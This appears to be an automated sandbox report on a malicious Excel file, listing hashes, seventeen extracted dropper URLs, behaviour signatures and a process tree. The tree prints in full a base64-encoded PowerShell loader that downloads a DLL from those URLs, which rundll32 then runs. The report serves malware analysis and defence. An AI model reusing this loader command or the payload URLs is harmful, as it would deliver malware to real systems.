Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2025, 19:42

General

  • Target

    d286ca2b78e0ae4b035d47f12bcc5716.xls

  • Size

    151KB

  • MD5

    d286ca2b78e0ae4b035d47f12bcc5716

  • SHA1

    a37c1586a48d4cffd2af18896828764c67096d88

  • SHA256

    b3696d2a2ca5cc82245002bd3c628cec835147e32691b99820f340f5a3ed7212

  • SHA512

    4e05626ac12373f0f37d66277cc7840e6c187210fe4fa5a87ceb463d63c999822108e93d71690ee9ad833a281323722c981c0c79061d5b3c742b96776b73be79

  • SSDEEP

    3072:XcKoSsxzNDZLDZjlbR868O8KlVH3yehvMqAPjxO5xyZUE5V5xtezEVg8/dgL4Lcq:XcKoSsxzNDZLDZjlbR868O8KlVH3yehk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://store.uxdsummit.com/wp-admin/VfgBSQa7Z/

exe.dropper

https://glowrentals.com/wp-admin/f1zeAKGTnS6I/

exe.dropper

http://candisee.bminteractivegroup.com/1g94ngo/2n7lJoPuPDEanPcX/

exe.dropper

http://bachilleratoporciclos.org/wp-content/zR/

exe.dropper

http://formula8020.com/css/JCuR6OE404DgR/

exe.dropper

http://lucasandbarbiehodges.net/wp-content/nbKbVJ8E55V2I/

exe.dropper

https://www.monet.kiev.ua/css/KvkD194/

exe.dropper

http://royalsnackmyanmar.com/wp-includes/Z4E3Vtp8k4Z/

exe.dropper

https://theclubgym.in/wp-includes/jnTMKV3pHa9a/

exe.dropper

https://ssf2.edelta.in/Themes/7hGzIAH5BYf9fFLK/

exe.dropper

https://subs.video/netreginstall/7LKhp4JjAyQ0mc/

exe.dropper

http://homedekornaturalcraft.com/ymu/fGsFT7j/

exe.dropper

http://gosporthistoryclub.org.uk/wp-content/vOixo/

exe.dropper

http://stimulusbrand.com/5qAhX5nC-content/1/

exe.dropper

https://readyplans.in/wp-content/UtiS4IPBYSIiaPzCCe/

exe.dropper

http://pgegroups.com/ism.pgegroups.com/HTv8/

exe.dropper

http://asaanweb.com/PHPMailer-master/1MYGpHszzRfHAN4/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d286ca2b78e0ae4b035d47f12bcc5716.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\tghklsd.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2864
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2732
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFIALwAsAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQB1AGwAYQA4ADAAMgAwAC4AYwBvAG0ALwBjAHMAcwAvAEoAQwB1AFIANgBPAEUANAAwADQARABnAFIALwAsAGgAdAB0AHAAOgAvAC8AbAB1AGMAYQBzAGEAbgBkAGIAYQByAGIAaQBlAGgAbwBkAGcAZQBzAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBiAEsAYgBWAEoAOABFADUANQBWADIASQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBvAG4AZQB0AC4AawBpAGUAdgAuAHUAYQAvAGMAcwBzAC8ASwB2AGsARAAxADkANAAvACwAaAB0AHQAcAA6AC8ALwByAG8AeQBhAGwAcwBuAGEAYwBrAG0AeQBhAG4AbQBhAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFoANABFADMAVgB0AHAAOABrADQAWgAvACwAaAB0AHQAcABzADoALwAvAHQAaABlAGMAbAB1AGIAZwB5AG0ALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBqAG4AVABNAEsAVgAzAHAASABhADkAYQAvACwAaAB0AHQAcABzADoALwAvAHMAcwBmADIALgBlAGQAZQBsAHQAYQAuAGkAbgAvAFQAaABlAG0AZQBzAC8ANwBoAEcAegBJAEEASAA1AEIAWQBmADkAZgBGAEwASwAvACwAaAB0AHQAcABzADoALwAvAHMAdQBiAHMALgB2AGkAZABlAG8ALwBuAGUAdAByAGUAZwBpAG4AcwB0AGEAbABsAC8ANwBMAEsAaABwADQASgBqAEEAeQBRADAAbQBjAC8ALABoAHQAdABwADoALwAvAGgAbwBtAGUAZABlAGsAbwByAG4AYQB0AHUAcgBhAGwAYwByAGEAZgB0AC4AYwBvAG0ALwB5AG0AdQAvAGYARwBzAEYAVAA3AGoALwAsAGgAdAB0AHAAOgAvAC8AZwBvAHMAcABvAHIAdABoAGkAcwB0AG8AcgB5AGMAbAB1AGIALgBvAHIAZwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AE8AaQB4AG8ALwAsAGgAdAB0AHAAOgAvAC8AcwB0AGkAbQB1AGwAdQBzAGIAcgBhAG4AZAAuAGMAbwBtAC8ANQBxAEEAaABYADUAbgBDAC0AYwBvAG4AdABlAG4AdAAvADEALwAsAGgAdAB0AHAAcwA6AC8ALwByAGUAYQBkAHkAcABsAGEAbgBzAC4AaQBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFUAdABpAFMANABJAFAAQgBZAFMASQBpAGEAUAB6AEMAQwBlAC8ALABoAHQAdABwADoALwAvAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBpAHMAbQAuAHAAZwBlAGcAcgBvAHUAcABzAC4AYwBvAG0ALwBIAFQAdgA4AC8ALABoAHQAdABwADoALwAvAGEAcwBhAGEAbgB3AGUAYgAuAGMAbwBtAC8AUABIAFAATQBhAGkAbABlAHIALQBtAGEAcwB0AGUAcgAvADEATQBZAEcAcABIAHMAegB6AFIAZgBIAEEATgA0AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2596
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:316
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
          • System Location Discovery: System Language Discovery
          PID:876

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\programdata\jledshf.bat

    Filesize

    3KB

    MD5

    b39bccb7919785949318f08668a8fdf6

    SHA1

    7cf362b654f6334a89c50a985e642370d7258826

    SHA256

    a5b67a81bf5b2c150a9157191e423e8ada6b033fa5335dfc1dc4389d137ba632

    SHA512

    4bdd93014d9a673aee38b5642d2fd1b20818cb19bc039d8440288bc04409f442b5eff3769893ec16029a4bafbb7673797cc77c1fcdd91694dd0841b00ee66102

  • \??\c:\programdata\tghklsd.vbs

    Filesize

    561B

    MD5

    87a9c41dc3e67b9b0b6cdb367d4858bd

    SHA1

    00f117f9a02dad3c127b2c607ead43300c2bebbe

    SHA256

    f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

    SHA512

    7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

  • memory/1624-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-74-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-9-0x00000000065A0000-0x00000000066A0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-8-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-1-0x00000000722FD000-0x0000000072308000-memory.dmp

    Filesize

    44KB

  • memory/1624-11-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-14-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-42-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-13-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-10-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-71-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-4-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-70-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-77-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-76-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-79-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-78-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-75-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-72-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-3-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1624-84-0x00000000722FD000-0x0000000072308000-memory.dmp

    Filesize

    44KB

  • memory/1624-85-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-86-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-87-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-88-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB

  • memory/1624-89-0x00000000003F0000-0x00000000004F0000-memory.dmp

    Filesize

    1024KB

  • memory/1624-90-0x0000000006020000-0x0000000006120000-memory.dmp

    Filesize

    1024KB